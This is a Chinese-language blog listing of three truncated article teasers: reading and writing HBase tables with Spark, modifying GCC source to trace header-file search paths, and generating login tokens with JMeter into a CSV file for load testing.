              Spark读写HBase表 摘要一、实验环境准备1. 技术版本2. Maven 依赖配置 二、实验步骤1. 数据准备2. HBase 表结构设计3. 代码实现3.1 数据写入 HBase&#xff08;writeDataToHBase 方法&#xff09;3.2 数据读取与分析&#xff08;readHBaseData 方法3.3 Spark SQL 分析3.4 完整…...

              【Linux】借助gcc源码修改,搜索头文件当前进展

              从上图可以看出对于每次的搜索&#xff0c;都是从第一个目录开始搜索&#xff0c;图里也可以看到修改源代码所在的目录&#xff0c;函数&#xff0c;行&#xff0c;昨天的博客感觉对于找到的位置还是不太好。 在使用修改源代码编译的GCC&#xff0c;进行编译内核源代码时&#…...

              jmeter登录接口生成一批token并写入csv文件

              背景&#xff1a;大部分项目真实的业务接口都是需要token鉴权的&#xff0c;想对一批核心业务接口进行并发压测&#xff0c;必然要先生成一批token给这些接口并发循环调用。 基本的思路是这样的&#xff1a;一批手机号csv文件 -》登录接口循环读取csv文件并生成token -》每次…...